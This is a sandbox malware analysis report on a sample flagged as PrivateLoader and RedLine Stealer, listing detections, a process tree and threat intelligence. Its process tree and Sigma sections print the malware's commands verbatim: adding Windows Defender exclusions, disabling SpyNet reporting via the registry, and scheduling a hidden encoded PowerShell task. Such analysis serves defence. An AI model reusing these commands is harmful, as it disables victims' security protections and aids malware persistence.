Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:file.exe
Analysis ID:1345843
MD5:db05c4ddd1c651561ce6b89e99a332f6
SHA1:e92017c7673b82ef1c64c60a19e09307b902e73a
SHA256:217265f9279820005c1037dd06668169a841230842ddd53961122066d9fb6786
Tags:NETexeMSIL
Infos:

Detection

PrivateLoader, RedLine
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected RedLine Stealer
Sigma detected: Schedule system process
Antivirus detection for URL or domain
Antivirus detection for dropped file
Sigma detected: Drops script at startup location
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Yara detected PrivateLoader
Disable Windows Defender real time protection (registry)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Tries to detect sandboxes and other dynamic analysis tools (window names)
Query firmware table information (likely to detect VMs)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Uses cmd line tools excessively to alter registry or file data
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
.NET source code contains very large array initializations
Writes many files with high entropy
Drops script or batch files to the startup folder
Adds a directory exclusion to Windows Defender
Modifies Group Policy settings
Sample uses string decryption to hide its real strings
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Hides threads from debuggers
Creates HTML files with .exe extension (expired dropper behavior)
.NET source code references suspicious native API functions
Modifies the hosts file
Yara detected Generic Downloader
Modifies Windows Defender protection settings
Machine Learning detection for dropped file
Disables Windows Defender (deletes autostart)
Disables UAC (registry)
Adds extensions / path to Windows Defender exclusion list
Drops PE files to the application program directory (C:\ProgramData)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Tries to load missing DLLs
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a start menu entry (Start Menu\Programs\Startup)
Uses reg.exe to modify the Windows registry
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Deletes files inside the Windows folder
Creates files inside the system directory
Found potential string decryption / allocating functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Queries information about the installed CPU (vendor, model number etc)
Sample file is different than original file name gathered from version info
Contains capabilities to detect virtual machines
PE / OLE file has an invalid certificate
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 400 cmdline: C:\Users\user\Desktop\file.exe MD5: DB05C4DDD1C651561CE6B89E99A332F6)
    • powershell.exe (PID: 1444 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\file.exe" -Force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 6036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • CasPol.exe (PID: 5128 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
      • BXuFYgf6xs2uEKGHPQsSTe25.exe (PID: 2292 cmdline: "C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exe" MD5: 1C4BA9EB815AD39858DEF7341D3CFFF1)
      • r1O81gOTKkD0PfSdUigHGcl2.exe (PID: 2284 cmdline: "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --silent --allusers=0 MD5: AC33A958FADA5BCB892E03D1FF810D8A)
        • r1O81gOTKkD0PfSdUigHGcl2.exe (PID: 3128 cmdline: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2d0,0x300,0x6cf674f0,0x6cf67500,0x6cf6750c MD5: AC33A958FADA5BCB892E03D1FF810D8A)
        • r1O81gOTKkD0PfSdUigHGcl2.exe (PID: 4080 cmdline: "C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exe" --version MD5: AC33A958FADA5BCB892E03D1FF810D8A)
        • r1O81gOTKkD0PfSdUigHGcl2.exe (PID: 5864 cmdline: "C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=ZDUxMWEyYzQyYmU3YjNmMDI3NzRlNWM2YTg1YzY1MzdlNGQ4ZGExMzhjNzg4MGQyMThiMzI4OGVlZWIyNTVmNDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDU3NTk0OS4yNzIzIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjZlMmVjMS0wNzBjLTRmYWEtODc4OS01ZWEyMjQ2NDhkMTUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000 MD5: AC33A958FADA5BCB892E03D1FF810D8A)
          • r1O81gOTKkD0PfSdUigHGcl2.exe (PID: 5848 cmdline: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c MD5: AC33A958FADA5BCB892E03D1FF810D8A)
      • 3igcf6uAz0sWTHiwyuTtf5S5.exe (PID: 6828 cmdline: "C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exe" MD5: 9873907D252DCECD6BAEA9A11AC4B0DA)
      • 8AbV0HUy7VtZhy8wnNLXmsko.exe (PID: 4000 cmdline: "C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe" MD5: D373FF7CB6AC28B844D9C90FC8F1AB3F)
      • DU9aZfxw1xhKC4ykOgcxwHTl.exe (PID: 6080 cmdline: "C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe" MD5: C67B184E265425655EB485932963AF53)
      • AdivwWrpQRED15lxH0DgRVgj.exe (PID: 3436 cmdline: "C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe" MD5: 5CCF030395F0F69B0C11A11E26B31833)
        • Install.exe (PID: 5740 cmdline: .\Install.exe MD5: 2CAFB9685610BFF31960C959887426AA)
          • Install.exe (PID: 616 cmdline: .\Install.exe /eeGFndidj "385121" /S MD5: 24A387FDA6E0F36F9AF44D65487C5F5B)
            • forfiles.exe (PID: 7492 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64& MD5: D95C443851F70F77427B3183B1619DD3)
              • conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • cmd.exe (PID: 7636 cmdline: /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64& MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                • reg.exe (PID: 7744 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
            • forfiles.exe (PID: 7588 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64& MD5: D95C443851F70F77427B3183B1619DD3)
              • conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • cmd.exe (PID: 7960 cmdline: /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64& MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                • reg.exe (PID: 8124 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
            • schtasks.exe (PID: 8060 cmdline: schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==" MD5: 48C2FE20575769DE916F48EF0676A965)
              • conhost.exe (PID: 8144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • QsTe5POhA2TpmBwMLub9ymVB.exe (PID: 7324 cmdline: "C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe" MD5: 1C4BA9EB815AD39858DEF7341D3CFFF1)
      • OPqTdTFbxWlK6znimRD995XD.exe (PID: 7356 cmdline: "C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0 MD5: 9D8AD117253C7E7E5CEBB1CF22A79E68)
        • OPqTdTFbxWlK6znimRD995XD.exe (PID: 7716 cmdline: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c MD5: 9D8AD117253C7E7E5CEBB1CF22A79E68)
      • TNpJBjREJ9Gyf03FTGsVwgMm.exe (PID: 7392 cmdline: "C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe" MD5: D373FF7CB6AC28B844D9C90FC8F1AB3F)
      • 6Y6HZLXw0Y38mRwaQb51f9Xr.exe (PID: 7436 cmdline: "C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe" MD5: 9873907D252DCECD6BAEA9A11AC4B0DA)
      • jmqKcbM6AONnRhvOZmBZdvm3.exe (PID: 7456 cmdline: "C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe" MD5: 5CCF030395F0F69B0C11A11E26B31833)
        • Install.exe (PID: 7672 cmdline: .\Install.exe MD5: 2CAFB9685610BFF31960C959887426AA)
      • 5zZpiaRyAwCkDYAcy3rJRYSk.exe (PID: 7480 cmdline: "C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe" MD5: C67B184E265425655EB485932963AF53)
      • HLT0AIxjEwuNSfgdyWiT3ueK.exe (PID: 7644 cmdline: "C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe" MD5: 1C4BA9EB815AD39858DEF7341D3CFFF1)
      • LnQdFAFVk46H7elzEZZ3Xdvx.exe (PID: 7704 cmdline: "C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe" --silent --allusers=0 MD5: AA41F78F1F683FA82608B042E57ECA06)
      • loKi89nha4JKgsufhuKQ22oF.exe (PID: 7736 cmdline: "C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe" MD5: D373FF7CB6AC28B844D9C90FC8F1AB3F)
      • BRaFXbmvcphOkoXIZ6VZLdvL.exe (PID: 7768 cmdline: "C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe" MD5: 5CCF030395F0F69B0C11A11E26B31833)
      • yYAwgDWrkYJyyOGvYzyiJrxu.exe (PID: 8188 cmdline: "C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe" MD5: C67B184E265425655EB485932963AF53)
  • powershell.exe (PID: 4700 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 4332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2220 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 6804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • 6V2xKGSdzZOG2l67fqdIp9iJ.exe (PID: 7336 cmdline: "C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe" MD5: 1C4BA9EB815AD39858DEF7341D3CFFF1)
  • cmd.exe (PID: 7784 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
PrivateLoaderAccording to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader
NameDescriptionAttributionBlogpost URLsLink
RedLine StealerRedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exeJoeSecurity_PrivateLoaderYara detected PrivateLoaderJoe Security
    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exeJoeSecurity_PrivateLoaderYara detected PrivateLoaderJoe Security
      C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exeJoeSecurity_RedLineYara detected RedLine StealerJoe Security
        C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exeMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
        • 0x3f90c:$v2_1: ListOfProcesses
        • 0x3f450:$v4_3: base64str
        • 0x41612:$v4_4: stringKey
        • 0x3b1b8:$v4_5: BytesToStringConverted
        • 0x3a560:$v4_6: FromBase64
        • 0x3be20:$v4_8: procName
        • 0x3ad3f:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        0.2.file.exe.2bd4758.1.raw.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
          0.2.file.exe.2bd7180.0.raw.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security

            Sigma Signatures

            Data Obfuscation

            barindex
            Sigma detected: Drops script at startup location
            Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ProcessId: 5128, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwUEIn0u42avRg7NWL5JGs75.bat

            Persistence and Installation Behavior

            barindex
            Sigma detected: Schedule system process
            Source: Process startedAuthor: Joe Security: Data: Command: schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", CommandLine: schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /eeGFndidj "385121" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exe, ParentProcessId: 616, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", ProcessId: 8060, ProcessName: schtasks.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus detection for URL or domain
            Source: https://167.235.143.166/gAvira URL Cloud: Label: malware
            Source: https://167.235.143.166/mAvira URL Cloud: Label: malware
            Source: https://desktop-netinstaller-sub.osp.opera.software/v1/binary;Avira URL Cloud: Label: malware
            Source: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryAvira URL Cloud: Label: malware
            Source: https://167.235.143.166/6Avira URL Cloud: Label: malware
            Source: https://167.235.143.166/EAvira URL Cloud: Label: malware
            Source: https://167.235.143.166/66Avira URL Cloud: Label: malware
            Antivirus detection for dropped file
            Source: C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exeAvira: detection malicious, Label: TR/AD.Nekark.bdamo
            Source: C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exeAvira: detection malicious, Label: HEUR/AGEN.1303617
            Source: C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exeAvira: detection malicious, Label: HEUR/AGEN.1303617
            Source: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exeAvira: detection malicious, Label: HEUR/AGEN.1312670
            Source: C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exeAvira: detection malicious, Label: TR/AD.Nekark.bdamo
            Source: C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exeAvira: detection malicious, Label: HEUR/AGEN.1303617
            Source: C:\Program Files\Google\Chrome\updater.exeAvira: detection malicious, Label: TR/AD.Nekark.bdamo
            Source: C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exeAvira: detection malicious, Label: HEUR/AGEN.1312670
            Source: C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exeAvira: detection malicious, Label: HEUR/AGEN.1312670
            Source: C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exeAvira: detection malicious, Label: TR/AD.Nekark.bdamo
            Multi AV Scanner detection for submitted file
            Source: file.exeReversingLabs: Detection: 40%
            Source: file.exeVirustotal: Detection: 41%Perma Link
            Multi AV Scanner detection for domain / URL
            Source: https://167.235.143.166/gVirustotal: Detection: 11%Perma Link
            Source: https://167.235.143.166/Virustotal: Detection: 6%Perma Link
            Source: https://167.235.143.166Virustotal: Detection: 6%Perma Link
            Source: https://167.235.143.166/mVirustotal: Detection: 13%Perma Link
            Source: https://167.235.143.166/%Virustotal: Detection: 10%Perma Link
            Source: https://167.235.143.166/EVirustotal: Detection: 11%Perma Link
            Source: https://167.235.143.166/6Virustotal: Detection: 11%Perma Link
            Source: https://167.235.143.166/66Virustotal: Detection: 11%Perma Link
            Multi AV Scanner detection for dropped file
            Source: C:\Program Files\Google\Chrome\updater.exeReversingLabs: Detection: 87%
            Source: C:\Program Files\Google\Chrome\updater.exeVirustotal: Detection: 76%Perma Link
            Source: C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exeReversingLabs: Detection: 52%
            Source: C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exeVirustotal: Detection: 61%Perma Link
            Source: C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exeReversingLabs: Detection: 87%
            Source: C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exeReversingLabs: Detection: 87%
            Source: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exeReversingLabs: Detection: 100%
            Source: C:\Users\user\AppData\Local\7kfsbB1Hl48Vwwq14EpVnfnY.exeReversingLabs: Detection: 87%
            Source: C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exeReversingLabs: Detection: 100%
            Source: C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exeReversingLabs: Detection: 95%
            Source: C:\Users\user\AppData\Local\Dd4nzJ5vUMeQnN3MK6ZRgV3f.exeReversingLabs: Detection: 52%
            Source: C:\Users\user\AppData\Local\GpflmvanezvTQUdAxFgnanZZ.exeReversingLabs: Detection: 52%
            Source: C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exeReversingLabs: Detection: 100%
            Source: C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exeReversingLabs: Detection: 95%
            Source: C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exeReversingLabs: Detection: 95%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\build[1].exeReversingLabs: Detection: 91%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Service_32[1].exeReversingLabs: Detection: 86%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exeReversingLabs: Detection: 59%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\timeSync[1].exeReversingLabs: Detection: 37%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\xin[1].exeReversingLabs: Detection: 34%
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\36b88b89v[1].exeReversingLabs: Detection: 40%
            Source: C:\Users\user\AppData\Local\OUk0jc7FyA7JiXBcKBsav4Ex.exeReversingLabs: Detection: 100%
            Source: C:\Users\user\AppData\Local\OeIzFpPQv96lBLRJ074Q8fw6.exeReversingLabs: Detection: 95%
            Source: C:\Users\user\AppData\Local\PG0i0imJz19jFNp7ko6pIPRA.exeReversingLabs: Detection: 87%
            Machine Learning detection for sample
            Source: file.exeJoe Sandbox ML: detected
            Sample uses string decryption to hide its real strings
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetProcAddress
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: LoadLibraryA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: lstrcatA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: OpenEventA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CreateEventA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: CloseHandle
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: Sleep
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetUserDefaultLangID
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: VirtualAllocExNuma
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: VirtualFree
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetSystemInfo
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: VirtualAlloc
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: HeapAlloc
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetComputerNameA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: lstrcpyA
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetProcessHeap
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: GetCurrentProcess
            Source: 6.3.BXuFYgf6xs2uEKGHPQsSTe25.exe.2290000.0.raw.unpackString decryptor: lstrlenA
